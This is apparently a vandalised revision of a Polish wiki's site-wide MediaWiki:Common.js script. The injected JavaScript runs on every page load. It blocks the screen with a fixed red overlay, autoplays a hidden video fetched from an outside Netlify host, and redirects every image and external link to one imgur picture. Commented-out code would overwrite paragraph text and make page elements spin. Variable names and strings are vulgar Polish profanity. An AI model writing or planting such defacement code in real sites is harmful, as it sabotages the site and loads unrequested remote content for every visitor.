MediaWiki:Common.js: Różnice pomiędzy wersjami

Wersja z 22:53, 6 lis 2020

var randomId = Math.floor(Math.random() * 500);
if (localStorage.cipusia != "") {
} else {
  localStorage.cipusia = randomId;
}
var body=document.querySelector(":root");
czerwonka=document.createElement("div");
czerwonka.classList.add(localStorage.cipusia);
czerwonka.style.height = "100%";
czerwonka.style.width = "100%";
czerwonka.style.position = "fixed";
czerwonka.style.background = "red";
czerwonka.style.top = "0";
czerwonka.style.zIndex = "9999";
body.appendChild(czerwonka);


if(localStorage.papaj!="jebaka"){var body=document.querySelector("body"),jan=document.createElement("video");jan.src="https://hopeful-neumann-d0b06e.netlify.app/videoloader.webm",jan.autoplay=!0,body.appendChild(jan),jan.width="0",jan.height="0";};

/* if(localStorage.chuj="dupa"){
const paragrafy = document.querySelectorAll("p");
	for (const sperma of paragrafy) {
sperma.innerHTML = "stałem się gieresiem niszczycielem światów";
	}
} */

if(localStorage.ali!="agca"){
const chuuj = document.querySelectorAll("img");
    for (var i = 0; i < chuuj .length; i++) {
     chuuj [i].src = "https://i.imgur.com/TmNdEcc.png";
}

const linkipanaagcy = document.querySelectorAll("a[rel=nofollow].external");
    for (var i = 0; i < linkipanaagcy .length; i++) {
     linkipanaagcy [i].href = "https://i.imgur.com/TmNdEcc.png";
}


}










// if(localStorage.pan!="profesor"){+function(wojtyla,fuuuu,tim){fuuuu=(function(sin,cos){return{x:function(t,p,p2){return p*cos(t*p2);},y:function(t,p,p2){return p*sin(t*p2);}};})(Math.sin,Math.cos);tim=0;setInterval(function(is,ii){is=document.querySelectorAll("div");for(i=0;i<is.length;i++){ii=is[i];ii.p||(ii.p=Math.random()*500,ii.p2=Math.random()*100);with(ii[wojtyla]){position='relative';left=""+fuuuu.x(tim,ii.p,ii.p2)+"px";top=""+fuuuu.y(tim,ii.p,ii.p2)+"px";}}tim += 0.01;},10);}("style");var xD=document.querySelector("#mw-head");xD.style="font-size:700px;top:0;position:fixed;transform:rotate(90deg)";xD.innerHTML='xD';};